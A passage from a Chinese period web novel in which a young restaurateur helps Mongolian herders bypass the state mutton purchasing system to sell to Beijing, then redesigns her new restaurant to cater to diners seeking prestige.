鱼肉沾了青红椒的味道,吃起来有一丝丝的辣意,但又不会辣到让人满头大汗,只会引诱食客吃下一口,接着再来一口。 贺小弟吃饱了,就让齐家红从碗里给他分了一小块鱼肉尝尝味儿。 他吃完糖醋味的瓦块鱼,唆着筷子头,表情很纠结。 齐家红注意到他的表情,关切道:“怎么了?想上厕所?” 贺小弟抬头看看大嫂,从嗓子眼里挤出一句话。 “我觉得,我应该还可以再吃点。” 齐家红失笑,拍拍他明显凸起的小肚子,劝道:“吃饱了就不要勉强再吃,不然吃多了会消化不良,你肚子会难受的。” 贺小弟认真地想了想,坚强地说:“没关系,我可以吃乳酶生!” 当贺小弟还在争取多吃点时,下一道菜又上来了。 一道又一道的菜流水似的送上桌,都是舍得下料的硬菜,每一道都能在宴席上作为大荤登场。 牧民们从口外赶着羊群来到矿务局,一路吃着干巴巴的馕饼肉干,风餐露宿,此时见到这一桌子的大菜,甩开腮帮子吃得飞起。 有酒有肉,还有久别重逢的故友之子。 一群大肚汉放开了吃喝,吃得尽兴,喝得也兴起。 有人用蒙语唱起了酒歌,有人呼起了麦,小小的隔间关不住音乐和欢笑,将整间店的空气都搅得火热。 当田润花再一次端着盘子上菜时,有客人拦住了她,殷切问道:“别管多少钱,这桌的菜能不能原模原样也给我们上一遍?” 还有客人玩笑道:“把屏风撤了吧,大伙儿都乐一乐,让我们也欢迎欢迎远道而来的客人。” 话还没说完,喝嗨了的牧民们端着酒出了隔间,满场花蝴蝶似的热情社交,搂着陌生的矿工兄弟疯狂劝酒。 虽然语言不通,但热情和善意能跨越一切语言的壁垒,直抵心灵深处。 矿工们下了班时间充足,不急着回家,便和牧民们拼起酒来。 都说草原民族酒量贼大,有的人不信邪,偏要把牧民灌倒,没成想,最后是自己先被灌倒,滑到桌下,抱着凳子要拜把兄弟。 有的人要和牧民学呼麦,学了半天像蚊子哼哼,自己还挺陶醉的,闭着眼睛在那儿哼着荒腔走板的歌。 还有的人教牧民划拳,一会儿是 九魁首六六六,一会儿是一只小蜜蜂飞到花丛中,双方语言不通,也不知是怎么划起来的,有板有眼,也不管是谁输了,拿起酒杯就喝。 也有久经考验的酒桌老将,玩田忌赛马那一套,看哪个牧民被灌得差不多了,就上去劝酒补刀,喝得脸膛红通通的,止不住地大笑。 煤矿人家从未如此热闹过,不少路过的人探头过来看,见里面这么热闹,忍不住进店和大伙儿一起乐呵起来。 安静的月光下,呼麦声、说笑声从窗户溢出,乘着夜风,传到了远方的远方。 第102章 第102章羊肉收购之战 千里搭长棚,没有不散的宴席。 第二天,阿布日古大爷一行人向贺家人告辞,他们要回草原。 贺小弟依依不舍地问道:“阿布日古大爷,您还会再来吗?” 阿布日古大爷将贺小弟高高地抱起来,给他脖子戴上狼牙的项链,说:“我还会来的,下次我会赶着更多的羊过来。” 贺小弟摩挲着泛黄的狼牙项链,喜欢极了,嘿嘿直乐。 接着,阿布日古大爷又从袍子里掏出一串绿松石的手串,要送给贺明珠。 “拿着吧,其其格,你和我们自己的孩子一样一样的,它会保佑你平安的,逢凶化吉,不会再遇到坏人。” 他给贺明珠取了一个草原的名字,叫其其格,就是花朵的意思。 贺明珠接过手串,却不急着戴上,而是问道: “阿布日古大爷,您大老远赶着羊过来卖,路上羊损耗情况怎么样?” 说起这个,阿布日古大爷叹道,说:“太远了,羊走得累,路上没吃的,瘦了很多。” 贺明珠问道:“那您有没有考虑就地宰杀后再运过来卖呢?” 对于这个问题,阿布日古大爷早就想过,闻言就说:“我们没有卡车,油也很贵,而且现在天气不够冷,路上太远,羊肉运过来就变臭了。” 在缺少冷链运输技术、没有四通八达高速公路网的情况下,想在不通过国营食品收购站的情况下,私人异地销售鲜肉是件几乎不可能的事。 高昂的运输费用,也让活羊跨省运输后,羊肉成本高到消费者无法接受的地步。 而且现在车匪路霸的现象还很严重,运气不好,就是人货两失。因此,即使赶羊卖肉只需要三五个人,但为了路上壮胆,还是浩浩荡荡一群人过来。 在各种现实因素的限制下,似乎怎么看都是一个死局。 贺明珠却突然提起不相关的问题。 “在矿务局羊肉的价格是六毛五一斤,阿布日古大爷,您知道北京羊肉的售价是多少钱吗?” 阿布日古大爷诚实地摇摇头。 贺明珠说:“北京的羊肉每斤售价是一块二。” 两倍的价格差! 阿布日古大爷瞪大了双眼,他本来以为现在矿务局卖羊肉就已经很赚钱了,毕竟草原上羊肉价格很便宜,只要四毛钱一斤。 他赶着羊来一趟乌城,一斤羊肉就能多卖二毛五分钱。 可和北京的羊肉价格相比,每斤将近贵了八毛钱! 也就是说,同样的金额,在北京只能买一斤羊肉,在草原却可以买三斤! 要是将羊赶去北京卖,那得赚多少钱啊…… 想到这里,阿布日古大爷心潮澎湃,恨不能肋生双翼,现在就飞回草原,马上带着羊进京赶烤。 然而,贺明珠却给他浇了一盆冷水。 “北京羊肉价格虽然高,但严格执行统购统销的规定,羊肉统一通过食品公司收购和销售。” 之所以两地间会存在两倍的价差,是因为通常是由大队出面将羊肉交售给公社食品收购站,再经过县、市等当地食品公司,统一送往北京。 经过几次周转,羊肉价格就由四毛钱,一跃涨至一块二,上涨的部分则由各层级食品公司分润。 阿布日古大爷不甘心,要是他们直接将羊肉卖到北京,这间的差价不就归牧民了吗? 但他也知道,想在北京卖羊肉没那么容易,即使是在乌城矿务局,他们也不得不在远离城市的农村集市中杀羊卖肉。 阿布日古大爷问贺明珠:“有没有什么办法,能让我们把羊肉卖到北京呢?” 贺明珠说:“有一个办法,就是你们和北京食品公司签合同,定向供应羊肉。但这里有两个问题,一是供应量的问题,据我所知,北京食品公司的收购量最低是每年一百万公斤,你们可以提供这么多的羊肉吗?二是政策的问题,如果你们越过当地食品收购站将羊肉卖到北京,侵害了收购站的利益,不可避免要与收购站方面起冲突,你们能获得政府的支持吗?” 这两个问题很尖锐,但也不可避免要面对。 听完贺明珠的话,阿布日古大爷被两倍价差的利润冲昏的头脑一时冷静了下来。 一百万公斤的羊肉,要宰杀多少活羊才能获得?而预期与国营收购站的矛盾,又是显而易见的。 这次他们赶着羊来外地售卖,虽然大队没说什么,但也没有明确支持,态度模棱两可。 然而,如果是大量收购羊肉、直接售往北京,那大队乃至乡政府、县政府,还会支持他们吗? 阿布日古大爷一时左右为难起来。 一边是两倍的价差,每斤八毛钱的利润,能立竿见影就让大伙儿都过上好日子;一边则是必须面对的危机,百万斤羊肉收购的压力,以及可能的投机倒把的罪名。 两难中,阿布日古大爷苦笑道:“哎,我老了,再也没有年轻的志气了,现在这样就很好了,虽然辛苦些,但也能挣到钱。北京虽然很好,但不是我们现在该想的……” 贺明珠理解他的顾虑,毕竟她指的这条路风险和收益一样大。 是选择眼前低下却安稳的收益,还是冒着风险搏一把大的,在当下这个动荡的年代中,无论选择哪个,似乎都有充足的理由。 这时,与阿布日古大爷同来的一个青年牧民却突然开口。 “我想试一试。” 闻声,众人皆惊讶地向说话的这个人看去。 青年牧民年纪不大,看起来不过二十岁上下,有着草原人特有的粗糙皮肤。但他的眼睛却很亮,像是在燃烧。 “我想试一试。”他用生涩的汉语又重复了一遍,“我觉得我可以。” 阿布日古大爷说:“恩和森,你太年轻,只看到了利益,没有看到后面的风险。” 恩和森固执地说:“你老了,但我可以。我不怕累,也不怕坐牢。” 阿布日古大爷急了,用蒙语叽里咕噜说了一大串,恩和森只是摇头,偶尔说一句话,但看得出来,他的决心很坚定。 其他牧民们有的赞同,有的反对,也有的沉默。 贺明军戳了戳贺明珠,压低声音问她:“你从哪儿听说北京羊肉收购的事?靠谱吗?” 贺明珠同样低声道:“我有我的渠道,保密,不告诉你。” 关于北京羊肉收购的信息,是贺明珠上辈子在一篇纪实报道中看到的。 八十年代初,作者下乡采风,与牧民同吃同住同睡,见证了当地牧民与食品收购站之间不见硝烟的战争,并最后以牧民的胜利而告终。 当时的情况与现在非常相似,牧民交售的羊肉在经过层层食品公司后,最终在北京的销售价是收购价的三倍。 也就是说,在羊肉销售的链条中,牧民作为最底层的羊肉提供者,付出了最多辛苦,却拿到了最少的收益,付出与回报完全不成正比。 阿布日古大爷他们不是没有意识到这一点,想要绕过收购站,直接将羊肉销售到最终消费者手中。 但受限于交通和通讯的落后,他们只能选择最古老也是效率最低的方式,赶着活羊过来现杀现卖。 乌城离草原很近,但即便如此,路上也要走三五天的时间。 如果算上人力成本和路上损耗,阿布日古大爷长途跋涉赶羊来卖,所得利润也只比在当地售卖高一点而已。 也就是现在人力不值钱,所以才显得到手的钞票弥足珍贵。 但如果有更好的办法呢? 牧民们的争论接近尾声,虽然听不懂,但看起来似乎是恩和森说服了大半的人。 虽然大家还心存疑虑,但面对更好生活的诱惑,谁也无法轻易拒绝。 恩和森走向贺明珠,坚定地开口:“请你帮帮我们,要怎么才能将羊肉卖到北京?” 阿布日古大爷叹息着说:“其其格,我可能真的太老了,但恩和森说得对,我们不能再这么继续买羊了。如果你有办法,请告诉他吧。” 贺明珠没有吊人胃口,而是诚恳地说:“阿布日古大爷,恩和森,你们放心,我一定知无不言,言无不尽。” 这一天,牧民们没有告辞离开。 从天亮到天黑再到天亮,屋里清亮的 女声像一条缓缓流淌的小溪,将希望送到了遥远的草原上。 一个月后,草原某食品收购站的工作人员发现,他们最近好像收不到羊肉了? 查干旗收购站的站长看完这个月的收购报告,一脑门的问号。 “上个月还收了八千斤的羊肉,怎么这个月就只有两百斤了?” 负责收购羊肉的工作人员也纳闷呢。 “不知道怎么了,最近往收购站送羊肉的牧民越来越少,收不上肉啊。” 按理说,养了大半年的羊现在正是最肥美的时候,现在杀羊卖肉能使利益最大化,否则到了冬天,饲料青储短缺,活羊难免掉秤,等到了开春瘦得皮包骨,想卖也卖不上价格。 往年这会儿,收购站忙都忙不过来,甚至要招一些临时工来负责过称和搬运的体力活儿。 可现在往收购站送羊肉的人却寥寥无几,收购量都不能说是腰斩了,而是直接斩到脚踝。 收购站的站长给工作人员下了指令:“你去打听打听,到底是什么情况?今年没灾没疫的,怎么羊出栏量这么低?” 工作人员领命而去,很快就打听到了消息。 有一伙牧民和收购站抢生意! 他们三五成群,去往不同的牧场大量收购活羊,就地宰杀后将羊肉运走。 这伙人结账爽快,现结现付,不拖欠货款。因为不需要自己将羊运到收购站,当地牧民们也乐得和他们做生意。 收购羊肉的这伙人走村窜户,不管是多偏僻的牧场都能看到他们的身影,几乎将查干旗的出栏活羊一网打尽。 这直接导致了查干旗的食品收购站收不到羊肉,从上个月的八千斤骤降到了两百斤。 得知消息后,收购站站长坐不住了。 他连夜向上级汇报,当地食品公司和商业局都很重视这个情况,立即向旗长和旗委书记报告,要求查处这种挖国家墙角、投机倒把的行为。 经过旗政府调查,发现收购羊肉的牧民来自阿坦嘎查。嘎查指的是牧民聚居区,也就是农业语境下的“村”的意思。 阿坦嘎查地处偏僻,是查干旗出了名的穷地方,草原贫瘠,一多半都是盐碱地,草场可承载的羊群数量低下。 对于靠畜牧业维生的牧民来说,槽糕的草场环境让他们难以通过放牧来致富。 因此,阿坦嘎查牧民的脑子灵活,心也野,是最早一批赶着羊去外地售卖的。 阿坦嘎查的大队书记对此睁一只眼闭一只眼,默许牧民们自行寻找挣钱门路,并没有像其他地区一般,视为投机倒把。 阿布日古大爷一行人回来后,却不再赶着羊去外地,反而开始在本地大量收购活羊,宰杀后将羊肉运往北京。 大队书记好奇询问,带头收羊的恩和森对他说,北京的羊肉价格是本地的三倍,把羊肉卖到北京可以赚得更多。有人帮他们找到北京食品公司的业务员,并签订了羊肉供应合同。 大队书记没想到,他们去一趟外地竟然还有这样的奇遇。 恩和森说,合同上规定他们要每年向北京食品公司提供一百万斤羊肉,平均下来,每个月要提供八万斤羊肉。考虑到春夏的羊瘦,冬天要留着母羊产崽,也只有秋天适合大量收购。 大队书记有些犹豫,这样绕过国家收购站,直接向牧民收购活羊,是不是符合国家规定。 恩和森却说,国家没有规定羊肉只能卖给食品收购站,牧民完全可以自行决定将羊肉卖给谁。如果现在不赶上改革开放的春风,那么阿坦嘎查的人什么时候才能过上和城里人一样的好日子呢? 大队书记被他说服了。 又或是,大队书记被阿坦嘎查漫长而没有希望的贫困说服了。 因此,在面对旗政府的询问时,他的态度很坚定。 “我们牧民没有牟取暴利,也没有套购国家统购物资,怎么能说是投机倒把?!” 关于私人能不能收购羊肉的事,政府工作人员查遍了资料,发现改革开放后,国家虽然在购销计划内对羊肉进行统购统销,但对于购销计划以外的部分,并未对收购主体进行限制。 而在收购计划内的羊肉,各地均按要求交售给了收购站,阿坦嘎查的牧民收购的是计划外的羊肉。 也就是说,阿坦嘎查的牧民的收购行为并没有违反法律和政策。 查干旗的经济支柱是畜牧业,在计划经济下,国家收多少羊肉,牧民养多少羊。过于死板的买卖方式,导致当地经济如同一潭死水。 如今阿坦嘎查牧民的行为就像是往这潭死水中投入一颗石头,溅起了层层涟漪。 旗政府闭门开会后,认为虽然阿坦嘎查的牧民胆子大了些,但给当地带来的好处不少。于是决定让牧民和收购站来打擂台,看看到底是谁能在旗里扎得下根。 一时间,查干旗热闹了起来。 “收购羊肉,每斤四毛五分钱!” 阿坦嘎查的村民率先擂响了战鼓。 恩和森带队在收购站对面摆了个收购活羊的摊位,每斤羊肉比收购站的价格高五分钱。 收购站的站长恼了,让人拿着大喇叭出去喊: “国家禁止牧民经商!牧民要支持国家收购!爱国爱党,不向私人卖羊肉!” 但显然,口号比不上实际利益。 附近赶着羊来卖的牧民听到阿坦嘎查这边的收购价要更高,二话不说就将羊卖给了他们。 阿坦嘎查的收购小组收了活羊,现场付清钞票,就地宰杀,要是卖羊的牧民不要羊皮和羊头蹄的话,还能多拿几块钱。 不用自己费事儿宰杀,赶着羊过来就能换成现金,每斤羊肉的价格还比收购站贵五分钱,牧民们自然更愿意将羊卖给阿坦嘎查这边。 收购站一看这不行,向收购站卖羊的数量不增反减少,赶忙换了大喇叭的口号: “公家每斤羊肉四毛八分钱!” 涨了三分钱后,效果立竿见影,陆陆续续有人来收购站卖羊。 可没等收购站这边高兴多久,对面阿坦嘎查的人喊道:“我们收购羊肉每斤五毛钱!” 又涨两分钱?! 来卖羊的牧民一股脑转向了阿坦嘎查的摊位。 收购站的喇叭也响了:“公家收购羊肉每斤五毛一分钱!” 阿坦嘎查的人不甘示弱:“每斤五毛三分钱!” 要继续跟着阿坦嘎查这边涨价吗? 收购站的站长犹豫起来,要是再涨一分钱的话,收购站就要开始亏损了。 可是不涨的话,收不上来羊肉,收购站现在就要亏本。 他一咬牙,让人出去拿着喇叭喊:“公家收购羊肉,每斤五毛四分钱!” 收购站站长还在心疼钱,对面阿坦嘎查的声音又传来了。 “每斤五毛五分钱!” 收购站站长大怒:“太过分了,怎么敢和公家对着干!” 工作人员问他:“站长,我们这边还涨不涨价?” 站长气恼道:“涨什么涨,再涨下去我们就要倒赔了!买的越多,赔的越多!” 收购站这边偃旗息鼓了,可阿坦嘎查的收购点却依旧保持着每斤五毛五分钱的收购价。 站长既余怒未消,同时心中不解。 他们怎么敢把收购价设置得比有国家做靠山的收购站还高,就不怕亏本吗? 站长不知道的是,阿坦嘎查收来的羊肉直接卖到北京食品公司,每斤售价一块二,即使是五毛五分钱的收购价,算上人力成本和运输费后,也依旧赚得很多。 价格战,收购站打不起,但阿坦嘎查打得起! 首战告负,收购站站长回去潜心研究了阿坦嘎查的收购套路,之后重整旗鼓,想出了新招。 “什么,让我们下去收羊?” 对于站长的新决定,收购站的职工惊讶极了,抱怨道:“我们是有国家编制的职工,怎么能像那帮牧民一样,去牧场上收羊?” 他们习惯了牧民赶着羊送到收购站,无法接受反过来自己去路途不便的遥远牧场收购活羊。 站长却无视了大家的抱怨,顽固地说:“要是现在 不把阿坦嘎查这帮牧民的气焰打压下去,以后我们收购站还能收到一斤羊肉吗?完不成国家任务,我们收购站连存在必要都没有,以后要是被裁撤,你们要去哪里上班领工资?” 职工们对站长的话嗤之以鼻,他们这是铁饭碗,只要国家还在一天,他们的工作就一天都不会丢。 但站长已经下定决心,尽管职工极不情愿,还是强行要求他们下乡收羊。 职工们或骑车或搭车,四散到了查干旗下的各个牧场。 收购站的职工一号敲开蒙古包的门,向牧民提出收购活羊的要求。 但牧民却拒绝了:“我不认识你,我不能把羊卖给你。” 这人忙说:“我是收购站的,你家以前不都是把羊卖到收购站吗?” 牧民仔细打量了他,摇摇头道:“我不认得你,我在收购站没见过你。” 这人脸红,他嫌活羊身上又脏又臭,从来没出现在收羊的环节,也难免牧民不认识他。 另一边,职工二号找到了熟识的牧民,要收购他们家的羊。 牧民却为难道:“不行啊,我已经答应恩和森了,我家的羊都要卖给他们,没有多余的留给你们收购站了。” 职工二号晚了一步,被阿坦嘎查的人捷足先登,失败而归。 职工三号的运气比前两位都好,他负责收购活羊,和牧民们混了个脸熟,找到的这家牧民的羊也还没卖给阿坦嘎查。 他拿出随身携带的磅秤,让牧民协助他把羊捆起来,以方便上秤称重。 小羊意识到自己无可避免的悲惨命运,拼命挣扎,在捆绑时一蹄子飞踹到职工三号的脸上,直踹出两管鼻血。 当职工三号紧急止血的时候,一个脆生生的女孩子声音响起。 “我是阿坦嘎查的,我来收羊。” 牧民说:“你没带磅秤,你怎么收羊?” 牧民女孩走上前,不嫌羊身上沾的粪便和草叶,用手捏了一把羊身,又提起羊后腿掂量了几下,接着干脆地报出价格:“三十三块。” 说话间,她拿出钱包,给牧民数了三张大团结和三个一元钢镚。 职工三号不信,往鼻子里团了两坨卫生纸,坚强地拿着磅秤走过来。 “等等,你先别卖给她,她称得不一定准!” 在收购压力下,职工三号小宇宙大爆发,硬生生摁着羊捆住,称起了重量。 可不称也罢,一称反而发现小羊重量是五十九斤九两,只比女孩估算的少一两! 职工三号瞠目结舌,难以置信,拿着磅秤又反复试了好几次,结果都是这个份量。 “你怎么估得这么准的?!” 女孩骄傲地说:“我天天收羊,一只羊有多少斤,我看看体型,捏一捏皮肉就知道了!” 之后又换了几只羊,无一例外,女孩估算的重量和用磅秤称重的八九不离十。 职工三号心服口服了。 回到收购站,站长看到手上空空如也的职工们,带着最后一丝希望问道: “你们收回来的羊都放在哪里了?” 职工一号:“……牧民不认得我,不肯把羊卖给我。” 职工二号:“……牧民认得我,但他们已经把羊都卖给阿坦嘎查了,没有羊能卖给我。” 职工三号:“……牧民认得我,他们也没把羊卖给阿坦嘎查,但阿坦嘎查的人收羊速度比我快,最后没抢到羊。” 收购站站站长:…… 收购站的职工已经习惯了牧民送羊上门,腿没有阿坦嘎查的勤,嘴没有阿坦嘎查的甜,脑子没有阿坦嘎查的灵。 最终,这场收羊大作战以收购站全面失败告终。 而收购站内原来负责收购羊肉的职工,现在则转去收购牛奶了。 收购站原本算得上查干旗数得上的好单位,在市场大潮的冲击下,日渐衰败下去。 站长直到退休也不知道,这一场收购站与阿坦嘎查牧民的羊肉收购战的起因,只是一句“你们知道北京羊肉的售价是多少钱吗?” 乌城,矿务局。 贺明珠收到草原的来信,以及随信寄来的一大箱包裹。 贺小弟半个身体都探进了箱子中,一边翻东西,一边报数: “肉干、奶皮子、炒米……” 阿布日古大爷和恩和森寄来了许多草原特产,天气冷,不用担心食物在运输过程中变质,他们就放开了手脚来寄东西,恨不能将半个草原都寄过来。 此外,他们还派人每月送过来十几头羊,以及数不清的羊头、羊蹄、羊内脏。 贺明珠要给钱,但恩和森却坚决拒绝,直言算钱就是不拿他们当朋友。 因为北京食品公司的业务员是贺明珠牵线联系的,同时也是贺明珠无息借给他们三万块钱,才能付得起收购羊肉和长途运输的费用。 因着上次采访的事,王东文成了贺家的朋友,隔三差五就来蹭饭,临走还要捎带上两罐辣椒酱。 贺明珠托他联系了北京食品公司,找到信誉度最高的业务员,替阿坦嘎查的牧民牵线搭桥,并最终促成了双方合作。 在此过程中,王东文全程追踪报道了阿坦嘎查与收购站的羊肉之争。 他的调查报告内容详实,真实贴切,非常接地气,很快在报社内部刊物刊登,形成内参,并引起了上层领导人的重视。 从阿坦嘎查牧民收购羊肉的事例中,暴露出统购统销的死板,也展现了市场经济在基层的萌芽。 之后,不断有记者前往查干旗进行采访,但由于慢了一步,而且也没有贺明珠这一层关系,他们的报道深度比不上王东文。 继上次对贺明珠的采访之后,王东文又有了一篇代表性的报道,在作为新人,成为报社里数得上的后起之秀。 这都是后话了。 贺明珠专心读信,贺明军走过来,从包裹里拿了块牛肉干丢进嘴里,问贺明珠: “信里写什么了?” 贺明珠说:“恩和森告诉我,他们嘎查,以及附近嘎查的牧民,现在都在忙收购羊肉的事……” 大队干部负责结算账目,缴纳税款,协调解决收购过程中遇到的问题。其中普通话说得最好的干部在北京常驻,负责和北京食品公司对接,办理交货事项。 其他人则分成若干收购小组,有的在查干旗走家串户,从本地牧民手上收购活羊;有的则前往外旗、外盟,在当地设点收购,就地宰杀,将羊肉运往北京。 恩和森去了国家收购计划没有下达和收购计划数量很少的偏僻牧场,向当地牧民收购活羊。 因此,这些原本一板一眼照着计划养羊、经济较差的地区,在有人上门收购活羊后,像是注入了活水,开始翻倍养羊,收入也成倍增长。 贺明军听了后,说:“这不挺好的吗,推动了当地经济发展,谁还能说这是倒买倒卖、牟取暴利的投机倒把?” 对于草原上的这一场没有硝烟的战争,贺明军通过恩和森寄来的信同步关注。 他本来对这些政策上的事情丝毫不感兴趣,但看到查干旗的商业局和食品公司打着投机倒把的旗号要求处置阿坦嘎查的村民,心中气愤,自觉去查找相关资料。 如今他每天读报,也算是对现在的政策略有心得。 贺明珠笑眯眯地说:“真好,看到阿布日古大爷他们的生活越来越好,有种与有荣焉的骄傲感呢。” 贺明军摸摸妹妹的脑袋,笑着说:“我也很为你骄傲。” 日子一天天过去,三店的装修已经接近尾声。 这天,贺明军和徐和平正式邀请贺明珠来三店验收。 第103章 第103章乌金年代 “这就是你们装修的成果吗?” 站在三店门口,贺明珠止步不前,一言难尽地看向贺明军和徐和平。 贺明军没有察觉她话语中隐隐的嫌弃,骄傲地说: “这可是完全照着二店来装修的,你看看,这桌椅,这风格,是不是和二店一模一样?” 徐和平比他 灵醒些,听出不对,试探性地问: “你对现在的装修有什么想法吗?” 贺明珠沉默了,不是因为词穷,主要是想不出如何用最委婉的词汇表达出她此时的心情。 “妹?” 贺明军催促了一句。 贺明珠忍了又忍,终于没忍住。 “你们装修的结果就是一个三百平的快餐店?” 不是她说,但哪个好人会用市中心三百平的门面开一家快餐店啊?! 这难道不就是分矿二店等比例放大吗?! 店内开阔的空间内,放置着一排排的两人座和四人座的桌椅,靠窗的位置摆放了一张长桌,以及配套的高脚凳。 乍一走进三店,像是进了食堂,又或者是来到了去特色化的肯必麦,有种浓烈的“为了吃而不得不吃”的冷淡感。 对于贺明珠的吐槽,贺明军不解:“啊?有什么问题吗?” 徐和平也小声哔哔:“这不和二店一样吗?能有什么问题……” 问题大了去了! 贺明珠深吸一口气,努力平复心情,疯狂自我安慰,他们俩头一次开店没有经验,犯错误是正常的,要给人学习进步的机会,不能一棍子打死,好心态决定女人一生——个屁! “二哥,和平鸽,你们对三店的定位是什么?” 听到贺明珠的问题,贺明军和徐和平面面相觑,犹豫道: “饭店不就是招呼客人吃饭的地方吗?要什么定位?” 徐和平多问了一句:“二店不就是这样装修的吗?三店就不能吗?可这俩不都是饭店吗,能有什么差异?” 贺明珠一拍脑门,郁闷道:“好吧,怪我,怪我之前没说清楚。” 贺明军看不惯妹妹把事情揽自己身上的毛病,拉着她进店坐下,又指挥徐和平去泡了一碗冰糖水。 “行了,有什么话该说就说,对着你哥有什么不能说的?” 徐和平放下碗,笑嘻嘻地说:“老板,我俩脸皮厚,你随便说,肯定不生气,谁生气谁是小狗。” 他还戳戳贺明军:“你说是吧?” 贺明珠也不客气,抿了一口甜滋滋的糖水,问道: “你们知道当初我为什么要把二店装修成那个样子吗?” 徐和平抢答:“为了省钱!用杨木的板材做的桌椅更便宜!” 贺明军则说:“为了让店里能坐得下更多人吧。” 贺明珠说:“你们说的都对,但也都不全对。” 面对贺明军和徐和平疑惑的目光,贺明珠娓娓道来。 “来二店吃饭的客人主要都是附近分矿的职工,他们来店里的主要目的是‘填饱肚子’。只要店里饭菜足够物美价廉,量大实惠,就可以让他们在分矿食堂与二店的选项中,坚定地选择二店。” “因此,对于这些客人来说,店里的装修越简单越好,因为他们不是来点评美食,也不是来喝酒聚餐,只是吃饭而已,满足一日三餐的基本生理需求。” “由于来店里的职工基本都是各吃各的,各自买单,来店时三两结对,或者独自前来,两人座、四人座就可以满足他们的需求,因此也不需要多人聚餐的大圆桌或八仙桌。” 贺明军思索道:“所以这就是为什么二店的装修以简单为主吧。” 徐和平想到他在二店做服务员时,客人们用餐时间最多不超过半小时,大多用时十五分钟,点菜买单,吃完就走。 前一拨客人离店,后一拨客人马上入座,人来人往,流动速度非常快。 徐和平说:“一矿的店里用的还是圆桌,一桌子能坐十来号人。客人们吃完了不走,还要和同桌的人聊会儿天。但二店里一桌最多坐四个人,即使聊天也聊不了多久。” 见两人都明白了她的意思,贺明珠总结道: “二店面向的客人是分矿职工,客户群体决定了二店的定位就是矿外的食堂。而客户群体和饭店定位又共同决定了二店的装修风格。” 她再次提问道:“你们对三店的定位是什么?三店将来想要招揽怎样的客人呢?” 贺明军和徐和平一时被问得哑口无言。 这个问题他们从来没有想过,只是想到要开一家新店,就将二店的装修全盘照搬过来。 本来两人还挺沾沾自喜,这样装修省钱又省事儿,连桌椅都用的是上次没用完的木头,等开业了还不得惊掉全矿务局人的下巴。 但经贺明珠这么一分析,他们忽然意识到自己之前想的太天真了。 徐和平犹豫问道:“三店不能像二店一样经营吗?这附近也有不少单位,下班的人可以来我们店里吃饭啊……” 贺明珠还没说话,贺明军先否定了他的想法。 “这儿和分矿的情况不一样。分矿位置偏僻,周围都是荒郊野岭,工人们要不在食堂吃饭,要不就在二店吃饭,没有第三种选择;但矿务局这边就不一样了,离家属区近,周围小饭馆也多,如果不在单位食堂吃饭,可以选择回家吃饭,也可以去小饭馆吃,我们店不是唯一的选择。” 徐和平恍然大悟,接着就有些急了。 “那怎么办啊?要是没客人,这店不就白开了吗?我们已经交了半年的租金啊!” 贺明军抿嘴,沉声道:“亏了算我的,是我鲁莽决定要开店,无论亏多少都由我承担。” 徐和平气愤道:“你当我是推卸责任的人吗?!当初是我们一起决定要开店,所有亏损我们也要对半分!” 眼见两人已经开始讨论破产清算的问题了,贺明珠清了清嗓子,将两人的目光都吸引过来。 “想什么呢,还没到那份上。再说了,我可是老板呢,亏了算我的。” 贺明军还想说些什么,却被贺明珠抛出来的问题吸引了注意。 “你们说,为什么人们要在饭店吃饭呢?明明在家里吃更便宜,为什么却要选在饭店吃饭?” 对于这个问题,贺明军和徐和平有不同看法。 贺明军说:“饭店的菜更好吃吧。” 徐和平却说:“在饭店请客多有面子啊。” 又是相反的答案,两人对视一眼,目光交锋,噼里啪啦电光交错。 眼神打架没打出输赢,他们俩转向贺明珠,异口同声地问: “我说的对吧。/他说的肯定有问题。” 这回,贺明珠笑眯眯地说:“你们说的都对。” “饭店是专业厨师掌勺,旺火宽油,又舍得下料,自然比家庭小灶做出来的菜要好吃。在享受美味的同时,变相展示了请客者的财力和诚意,被邀请的客人也面上有光。虽然在饭店吃饭的价格更贵,但为了面子付钱,贵也是值得的。” 听了贺明珠的话,贺明军若有所思。 徐和平急道:“所以你的意思是,我们要让来三店的客人觉得在这儿吃饭有面子吗?” 贺明珠打了个响指。 “你说得对。” “三店不要物美价廉,也不追求性价比,要的就是一句话——来三店吃饭,有面子!” 听到这句话,徐和平反而犹豫了。 “矿务局能有那么多舍得在吃上花钱的人吗?” 这次回答的人是贺明军。 “放心吧,只怕到时候店里位置不够坐呢!” 他挑起眉毛,一脸的意气风发。 “徐和平,来干活了,今天就把这堆桌椅都拉走,重新再买一批大圆桌,我要好好大干一场!明珠,从账上给我支一千块,等开业了,我加倍还你。” 贺明珠却拦下了他的动作。 “二哥,先不急,我有一个想法,不如你听听看。” 徐和平凑过来:“什么想法,我也来听听。” 贺明珠勾起一侧嘴角,慢条斯理地将她的计划都说了出来。 在她说话的过程中,时不时伴随徐和平一声惊呼:“这也行?!” 三 店的二次装修如火如荼地开始了。 店外车水马龙,店内热火朝天,时不时有好奇行人向里面张望,嘀咕道:怎么现在皮包公司也舍得下血本装修了啊…… 天气一日日地冷下去,地上先是结起了霜,接着开始结冰。 当第一片雪花飘飘洒洒地从天空落下时,已是这一年的冬至。 张向党开着侉子摩托车,轰隆隆地从马路上驶过,最终猛地一拧刹车,摩托车停在路边。 侧斗的人踉踉跄跄地爬了出来,冻得脚麻,走都走不动,开口就骂: “你小子赶着投胎啊,妈的开这么快,风吹得我头皮都冻裂了!” 张向党有口无心地说:“行了,算我对不起你,动作快点,一个大男人,别磨磨蹭蹭的。” 他朋友气得跳脚:“你他妈说要出来吃饭,我就批了件大衣出门,你他妈还敢嫌我磨蹭!” 张向党拔了摩托车钥匙,摘下头盔,一把拽住朋友胳膊,拖着他往前面走。 “快点快点,饭店要没位置了!” 跟着张向党一同前来的几辆侉子摩托车也停到路边,驾驶员和乘客急忙追上来,边追边骂: “你开那么快是要飞啊!老子差点没跟住,吃了一肚子尾气!你给老子等着,下次非拿排气筒对着脸轰你!” 张向党没耐心地说:“开得慢还怪上我了,要不下次你骑个蜗牛算了,拖拖拉拉的,再不来我自己去吃饭了!” “想得美,老子今天非得吃哭你不可!” “就是,你小子他妈结账的时候等着哭吧!” “今天谁也不许借钱给他,要是没钱付账,就把他押店里洗碗挣钱!” “哈哈哈哈!” 对着这一帮臭味相投的损友的围攻,张向党双拳难敌四手,吵不过他们,只好嚷嚷着: “你们还吃不吃饭了?再磨蹭下去,哥就自己吃,不带你们了!” 损友一号勾住他脖子,说:“想得美,今天不把你吃穷,我就不出饭店!” 一群人吵吵嚷嚷的,在张向党的带领下,来到一家新开的饭店。 “乌金年代?” 门口牌匾被大功率灯泡照得分明,映出上面的四个大字。 